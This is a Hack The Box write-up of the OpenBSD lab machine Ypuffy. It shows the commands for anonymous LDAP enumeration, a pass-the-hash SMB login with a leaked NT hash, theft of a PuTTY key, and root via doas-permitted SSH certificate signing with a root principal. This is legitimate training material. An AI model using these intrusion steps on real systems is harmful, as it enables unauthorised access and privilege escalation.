HTB Write-up: Ypuffy

10 minute read

Ypuffy is a medium difficulty OpenBSD machine. The OpenBSD operating system provides a bit of a twist compared to the usual Linux and Windows challenges. The path to user is relatively simple. Careful enumeration, a bit of research on YP LDAP, and the knowledge within the man pages of smbclient will get you there. Elevating priveleges to root is a bit trickier, and requires putting a few pieces of information together that may not be so obviously related. With the right bit of reference material provided by our Big Brother Facebook, the path to root becomes clear.


Note: I completed this challenge on January 5th, 2019, however I’m just now writing it up in January 2020. As such, some of the details are sparse.


To begin enumeration, the masscan tool was used to scan the target system for open ports.

root@kali:~/workspace/hackthebox/Ypuffy# masscan -e tun0 -p 1-65535 --rate 2000

Starting masscan 1.0.5 ( at 2019-12-26 23:05:58 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on                                   
Discovered open port 22/tcp on                                    
Discovered open port 389/tcp on                                   
Discovered open port 80/tcp on                                    
Discovered open port 139/tcp on

This scan revealed that a variety of ports were open and listening for connections. TCP ports 445 and 139 are used with SMB, port 389 is used for LDAP, port 80 is used as a HTTP port, and port 22 is SSH. Taking these open ports, the nmap tool was then used to further enumerate the open ports.

root@kali:~/workspace/hackthebox/Ypuffy# nmap -p 445,22,389,80,139 -sC -sV -oA scans/discovered-tcp
Starting Nmap 7.80 ( ) at 2019-12-26 16:11 MST
Nmap scan report for
Host is up (0.066s latency).

22/tcp  open  ssh         OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
|   256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_  256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp  open  http        OpenBSD httpd
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open  ldap        (Anonymous bind OK)
445/tcp open  netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY

Host script results:
|_clock-skew: mean: 1h40m22s, deviation: 2h53m12s, median: 22s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6)
|   Computer name: ypuffy
|   NetBIOS computer name: YPUFFY\x00
|   Domain name: hackthebox.htb
|   FQDN: ypuffy.hackthebox.htb
|_  System time: 2019-12-26T18:12:10-05:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-12-26T23:12:11
|_  start_date: N/A

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds

The nmap output regarding port 80 suggests that this is a OpenBSD system. Browsing to does not reveal much, which suggests this webserver is possibly being used for something other than hosting a website. The scan has also reported that anonymous binds are allowed on the LDAP server on port 389. LDAP stands for “Lightweight Directory Access Protocol” and is often used for user validation validation to particular resources, amongst other things. The LDAP service running port 389 was enumerated further using the nmap scripting engine.

root@kali:~/workspace/hackthebox/Ypuffy# nmap --script /usr/share/nmap/scripts/ldap-search.nse

Querying the LDAP service reveals some information about the target system, including some configured users.

dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb                                    
    uid: bob8791                                                                  
    cn: Bob                                                                       
    objectClass: account                                                          
    objectClass: posixAccount                                                     
    objectClass: top                                                              
    userPassword: {BSDAUTH}bob8791                                                
    uidNumber: 5001                                                               
    gidNumber: 5001                                                               
    gecos: Bob                                                                    
    homeDirectory: /home/bob8791                                                  
    loginShell: /bin/ksh    
dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb                                                                                                                            
    uid: alice1978                                                                                                                                                          
    cn: Alice                                                                                                                                                               
    objectClass: account
    objectClass: posixAccount
    objectClass: top
    objectClass: sambaSamAccount
    userPassword: {BSDAUTH}alice1978
    uidNumber: 5000
    gidNumber: 5000
    gecos: Alice
    homeDirectory: /home/alice1978
    loginShell: /bin/ksh
    sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
    displayName: Alice
    sambaAcctFlags: [U          ]
    sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
    sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
    sambaPwdLastSet: 1532916644

The userPassword fields look juicy, but some research on the setup of an OpenBSD LDAP server and YP domains via ypldap explains that the presence of userPassword means that the configured user will be authenitacted by {BSDAUTH} and that passwords are checked against a Blowfish hash stored in LDAP.

The entry for the alice1978 user additionally contains a value in the sambaNTPassword field. This value is a Samba password that is hashed using the MD4 algorithm. With the help of the smbclient tool, the hashed Samba password can be used to authenticate to the SMB service on port 445 as the user alice1978.

From man smbclient:

    The supplied password is the NT hash.

First, the available Samba shares were listed via the command below with 0B186E661BBDBDCF6047784DE8B9FD8B as the password.

root@kali:~/workspace/hackthebox/Ypuffy# smbclient --user=alice1978 --pw-nt-hash -L // 
Enter WORKGROUP\alice1978's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        alice           Disk      Alice's Windows Directory
        IPC$            IPC       IPC Service (Samba Server)

Next, the alice share was accessed once again using the hashed Samba password for authentication.

root@kali:~/workspace/hackthebox/Ypuffy# smbclient --user=alice1978 --pw-nt-hash //

After connecting and listing the files with the dir command, the only file present in the alice SMB share is my_private_key.ppk. The .ppk extension suggests that this is a PuTTY private key file, and that the contents within are the alice1978 user’s private SSH key. The my_private_key.ppk file can be copied to the attacking system using the get SMB command.

smb: \> get my_private_key.ppk 
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (6.0 KiloBytes/sec) (average 6.0 KiloBytes/sec)

With the alice1978 user’s private SSH key, it is likely possible to access the target system via SSH after some slight modifications to the my_private_key.ppk file. Note that the nmap scan suggests that the SSH server running on port 22 of the target system is OpenSSH server (confirmed below).

root@kali:~/workspace/hackthebox/Ypuffy# telnet 22
Connected to
Escape character is '^]'.

As the my_private_key.ppk file is a PuTTY private key file, the must first be converted to a format that is compatible with OpenSSH before connecting to the OpenSSH server on the target system. This can be accomplished using the puttygen tool as shown below (the tool can be installed with apt-get install putty-tools).

root@kali:~/workspace/hackthebox/Ypuffy# puttygen my_private_key.ppk -O private-openssh -o alice1978-opensshkey

The target system can now be accessed as the alice1978.

root@kali:~/workspace/hackthebox/Ypuffy# ssh alice1978@ -i alice1978-opensshkey

The user.txt flag can now be read as the alice1978 user.

ypuffy$ whoami
ypuffy$ cat user.txt


Once on the system as the low-privilege user alice1978 a couple of items stand out. Once low privilege access to a system is gained, it is common practice to check what privileges the compromised user has. On Linux, this can be done with sudo -l. Windows has the runas command, but privileges are generally defined by user groups and privileges which can be determined with the whoami /all command. On OpenBSD, the doas command most strongly correlates to the Linux sudo and the Windows runas commands. The configuration for doas is located in /etc/doas.conf. The contents of the /etc/doas.conf file on the target system are shown below.

permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

This means that the user alice1978 is able to run the command /usr/bin/ssh-keygen with the privileges/permissions of the userca user. Enumerating the /home/userca directory, it appears that the target server is acting as a certificate authority, and that the userca user is used to authorize certficates. While certificate authorities are most commonly used to validate the identities of websites on the internet, in this case of ypuffy the certificate authority is being used to validate SSH keys. This is evident due to the presence of a ca private SSH key and a public SSH key in the /home/userca directory.

ypuffy$ ls -lah     
-r--------  1 userca  userca   1.6K Jul 30  2018 ca
-r--r--r--  1 userca  userca   410B Jul 30  2018
ypuffy$ file OpenSSH RSA public key

This idea is reinforced further by the sshauth.sql file found in the /home/bob8791 directory, the contents of which are shown below.

CREATE TABLE principals (
        uid text,
        client cidr,
        principal text,
        PRIMARY KEY (uid,client,principal)

        uid text,
        key text,
        PRIMARY KEY (uid,key)
grant select on principals,keys to appsrv;

This suggests that there is a database on the server that contains a principals table and a keys table.

After a bit of research, an article was found that explains how a certificate authority can be used to provide specific priveleges to specific users via SSH. In short, the CA infrastructure receives the public keys of users, signs them using the CA’s private key (the ca key, in this case), and returns the signed certificate back to the client. The returned certificate will provide all of the principals allowed for the specific user. A server can be configured to only accept public SSH keys that are signed with certain principals.

Following along with the article suggests that much of the configuration resides in the /etc/ssh/sshd_config file. Viewing the contents of the /etc/ssh/sshd_config file reveals the following (partial) output.

AuthorizedKeysCommand /usr/local/bin/curl
AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/
AuthorizedPrincipalsCommand /usr/local/bin/curl
AuthorizedPrincipalsCommandUser nobody

This suggests that the SQL database mentioned previously is being queried via the curl commands shown above. Testing the first command shown above with the low-priveleged alice1978 user reveals the following.

ypuffy$ /usr/local/bin/curl ""       
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716

This is expected, as the query returned the public key for the alice1978 user that has been signed by the CA user’s (userca) private key and stored in an authorized_keys file, thus granting alice1978 (or anyone with the user’s private SSH key) access to the system.

The output of the second curl command from the /etc/ssh/sshd_config file is shown below.

ypuffy$ /usr/local/bin/curl "" 

This queries the principals table that determines what privileges are granted to a specific user whose public SSH key was signed using the CA user’s private key. The alice1978 user has the alice1978 principal.

Querying the root user’s entry in the principals table shows the following.

ypuffy$ /usr/local/bin/curl ""      

The principal for the root user is 3m3rgencyB4ckd00r.

Using this information, a new SSH key can first be created with the 3m3rgencyB4ckd00r principal and then signed by the certificate authority (userca) by running the allowed doas command as the low-privileged alice1978 user. The signed key can then be used to SSH to the system as root. This process is outlined below.

First, a new key pair was generated:

ypuffy$ ssh-keygen -t ecdsa
Generating public/private ecdsa key pair.
Enter file in which to save the key (/home/alice1978/.ssh/id_ecdsa): 
Created directory '/home/alice1978/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/alice1978/.ssh/id_ecdsa.
Your public key has been saved in /home/alice1978/.ssh/
The key fingerprint is:
SHA256:enSy3eVOgL8mMNWsgnyvxytoPloAIbDs0U8cptjj1MM alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[ECDSA 256]---+
|+ .  o           |
|.o+.* .          |
|.+.* E     o     |
|. +.+ .   ..o    |
| . ..o .S.o.. .  |
|     .oo==.o +   |
|      ooo*. o o  |
|     .+.. = .+   |
|    .+...+.+. .  |

The newly-created public key was then copied to the /tmp directory so that the signing process does not fail due to file permissions.

ypuffy$ cp .ssh/ /tmp

Then, the key was signed using the doas command that is available to the alice1978 user. From man ssh-keygen, the -s flag specifies which private key should be used for signing, the -I flag specifies the key’s identity, the -n flag specifies which principal(s) the key should be signed with, the -V flag specifies the key’s validity duration, and the -z flag specifies the serial number to embed into the certificate.

ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I whatever -n 3m3rgencyB4ckd00r -V +1w -z 1 /tmp/
Signed user key /tmp/ id "whatever" serial 1 for 3m3rgencyB4ckd00r valid from 2020-01-02T22:31:00 to 2020-01-09T22:32:33

As suggested in the output, the /tmp/ file as created as a result of the above command. The is the signed public key. The contents of the file can be read and copied to /home/alice1978/.ssh/ With the key signed, the ssh root@localhost command can be issued to elevate privileges to the root user.

ypuffy$ ssh root@localhost
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

ypuffy# id                                                                                                              
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

From here, the root.txt flag can be read.

ypuffy# cat root.txt